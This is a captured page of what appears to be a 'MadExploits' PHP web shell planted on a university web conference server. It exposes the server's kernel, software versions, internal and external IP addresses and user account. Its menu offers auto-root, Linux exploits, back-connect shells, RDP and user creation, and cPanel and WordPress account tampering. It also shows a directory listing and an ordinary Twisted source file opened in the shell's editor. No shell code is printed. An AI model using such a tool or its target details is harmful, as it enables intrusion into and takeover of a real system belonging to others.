Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.191.198.56
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
twisted /
internet /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
iocpreactor
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
__init__.py
521
B
-rw-r--r--
_baseprocess.py
1.87
KB
-rw-r--r--
_dumbwin32proc.py
12.8
KB
-rw-r--r--
_glibbase.py
12.51
KB
-rw-r--r--
_idna.py
1.36
KB
-rw-r--r--
_newtls.py
9.11
KB
-rw-r--r--
_pollingfile.py
8.77
KB
-rw-r--r--
_posixserialport.py
1.95
KB
-rw-r--r--
_posixstdio.py
4.58
KB
-rw-r--r--
_producer_helpers.py
3.7
KB
-rw-r--r--
_resolver.py
8.33
KB
-rw-r--r--
_signals.py
2.65
KB
-rw-r--r--
_sslverify.py
70.09
KB
-rw-r--r--
_threadedselect.py
11.49
KB
-rw-r--r--
_win32serialport.py
4.63
KB
-rw-r--r--
_win32stdio.py
3.13
KB
-rw-r--r--
abstract.py
18.82
KB
-rw-r--r--
address.py
5.12
KB
-rw-r--r--
asyncioreactor.py
10.31
KB
-rw-r--r--
base.py
43.22
KB
-rw-r--r--
cfreactor.py
17.09
KB
-rw-r--r--
default.py
1.9
KB
-rw-r--r--
defer.py
69.52
KB
-rw-r--r--
endpoints.py
75.4
KB
-rw-r--r--
epollreactor.py
8.29
KB
-rw-r--r--
error.py
12.35
KB
-rw-r--r--
fdesc.py
3.15
KB
-rw-r--r--
gireactor.py
5.98
KB
-rw-r--r--
glib2reactor.py
1.09
KB
-rw-r--r--
gtk2reactor.py
3.53
KB
-rw-r--r--
gtk3reactor.py
2.2
KB
-rw-r--r--
inotify.py
14.35
KB
-rw-r--r--
interfaces.py
94.25
KB
-rw-r--r--
kqreactor.py
10.05
KB
-rw-r--r--
main.py
1.03
KB
-rw-r--r--
pollreactor.py
5.88
KB
-rw-r--r--
posixbase.py
25.74
KB
-rw-r--r--
process.py
37.98
KB
-rw-r--r--
protocol.py
26.5
KB
-rw-r--r--
pyuisupport.py
817
B
-rw-r--r--
reactor.py
1.82
KB
-rw-r--r--
selectreactor.py
6.07
KB
-rw-r--r--
serialport.py
2.26
KB
-rw-r--r--
ssl.py
8.25
KB
-rw-r--r--
stdio.py
1.02
KB
-rw-r--r--
task.py
30.39
KB
-rw-r--r--
tcp.py
53.62
KB
-rw-r--r--
threads.py
3.86
KB
-rw-r--r--
tksupport.py
2
KB
-rw-r--r--
udp.py
18.13
KB
-rw-r--r--
unix.py
21.45
KB
-rw-r--r--
utils.py
7.69
KB
-rw-r--r--
win32eventreactor.py
14.84
KB
-rw-r--r--
wxreactor.py
5.14
KB
-rw-r--r--
wxsupport.py
1.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _producer_helpers.py
# -*- test-case-name: twisted.test.test_producer_helpers -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Helpers for working with producers. """ from __future__ import division, absolute_import from zope.interface import implementer from twisted.internet.interfaces import IPushProducer from twisted.internet.task import cooperate from twisted.python import log from twisted.python.reflect import safe_str # This module exports nothing public, it's for internal Twisted use only. __all__ = [] @implementer(IPushProducer) class _PullToPush(object): """ An adapter that converts a non-streaming to a streaming producer. Because of limitations of the producer API, this adapter requires the cooperation of the consumer. When the consumer's C{registerProducer} is called with a non-streaming producer, it must wrap it with L{_PullToPush} and then call C{startStreaming} on the resulting object. When the consumer's C{unregisterProducer} is called, it must call C{stopStreaming} on the L{_PullToPush} instance. If the underlying producer throws an exception from C{resumeProducing}, the producer will be unregistered from the consumer. @ivar _producer: the underling non-streaming producer. @ivar _consumer: the consumer with which the underlying producer was registered. @ivar _finished: C{bool} indicating whether the producer has finished. @ivar _coopTask: the result of calling L{cooperate}, the task driving the streaming producer. """ _finished = False def __init__(self, pullProducer, consumer): self._producer = pullProducer self._consumer = consumer def _pull(self): """ A generator that calls C{resumeProducing} on the underlying producer forever. If C{resumeProducing} throws an exception, the producer is unregistered, which should result in streaming stopping. """ while True: try: self._producer.resumeProducing() except: log.err(None, "%s failed, producing will be stopped:" % (safe_str(self._producer),)) try: self._consumer.unregisterProducer() # The consumer should now call stopStreaming() on us, # thus stopping the streaming. except: # Since the consumer blew up, we may not have had # stopStreaming() called, so we just stop on our own: log.err(None, "%s failed to unregister producer:" % (safe_str(self._consumer),)) self._finished = True return yield None def startStreaming(self): """ This should be called by the consumer when the producer is registered. Start streaming data to the consumer. """ self._coopTask = cooperate(self._pull()) def stopStreaming(self): """ This should be called by the consumer when the producer is unregistered. Stop streaming data to the consumer. """ if self._finished: return self._finished = True self._coopTask.stop() def pauseProducing(self): """ @see: C{IPushProducer.pauseProducing} """ self._coopTask.pause() def resumeProducing(self): """ @see: C{IPushProducer.resumeProducing} """ self._coopTask.resume() def stopProducing(self): """ @see: C{IPushProducer.stopProducing} """ self.stopStreaming() self._producer.stopProducing()
Close